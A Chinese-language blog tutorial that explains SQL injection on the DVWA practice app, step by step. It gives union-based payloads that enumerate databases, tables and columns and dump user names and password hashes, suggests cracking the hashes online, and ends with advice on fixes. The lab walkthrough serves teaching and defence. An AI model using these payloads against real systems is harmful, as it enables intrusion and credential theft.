SQL注入漏洞解析

注*本篇內(nèi)容大部分參考SQL注入基本原理的學(xué)習(xí)
SQL注入原理:
攻擊者通過把SQL命令插入到Web表單提交或者輸入域名或者頁面查詢,最終達到欺騙服務(wù)器執(zhí)行惡意的SQL命令。

SQL注入實例:猜解數(shù)據(jù)庫

1.輸入2之后點擊submit,然后點擊右下角View Source查看源代碼
圖片發(fā)自簡書App

實際執(zhí)行的SQL就是下面這行

select first_name,last_name from users where user_id=‘1’;

2.輸入1’ order by 1#,實際執(zhí)行的是下面的內(nèi)容,意思是查詢user_id=1的數(shù)據(jù),根據(jù)第一列數(shù)據(jù)排序

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;

(按照Mysql語法,#后面會被注釋掉,使用這種方法屏蔽掉后面的單引號,避免語法錯誤)

3.輸入1' order by 1#和1' order by 2#時都可以正常返回,輸入1' order by 3#時會報錯,說明該表只有2列數(shù)據(jù)

圖片發(fā)自簡書App
圖片發(fā)自簡書App
圖片發(fā)自簡書App

4.使用union select聯(lián)合查詢數(shù)據(jù)庫,需要注意在使用union查詢的時候需要和主查詢的列數(shù)相同,而我們已經(jīng)知道之前主查詢列數(shù)為2,所以查詢列數(shù)需要2列,現(xiàn)在輸入1’ union select database(),user()#進行查詢

  • database()為返回的數(shù)據(jù)庫名
  • user()為返回的執(zhí)行當(dāng)前操作的用戶名


    圖片發(fā)自簡書App

5.接下來再嘗試獲取數(shù)據(jù)庫dvwa中的表名:
information_schema是 mysql 自帶的一張表,這張數(shù)據(jù)表保存了 Mysql 服務(wù)器所有數(shù)據(jù)庫的信息,如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權(quán)限等。該數(shù)據(jù)庫擁有一個名為 tables 的數(shù)據(jù)表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數(shù)據(jù)庫。
我們輸入

1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’#
圖片發(fā)自簡書App

通過查詢結(jié)果可知:

  • dvwa有2個表,guestbook和users

6.接下來我們再繼續(xù)嘗試獲取表中的字段,輸入

1’ union select 5,column_name from information_schema.columns where table_name=‘users’#
圖片發(fā)自簡書App

通過查詢結(jié)果可知:

  • users表中包含2個字段,user和password

7.我們查詢users表里的的用戶名和密碼數(shù)據(jù),輸入

1’ union select user,password from users#
圖片發(fā)自簡書App

根據(jù)查詢結(jié)果,我們可以看到所有的用戶名和密碼,密碼是采用md5解密的,可以到www.cmd5.com進行解密。

圖片發(fā)自簡書App

修復(fù)建議:
1.嚴格限制參數(shù)類型
2.過濾/轉(zhuǎn)義敏感字符和關(guān)鍵字
3.使用參數(shù)化查詢/預(yù)編譯

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容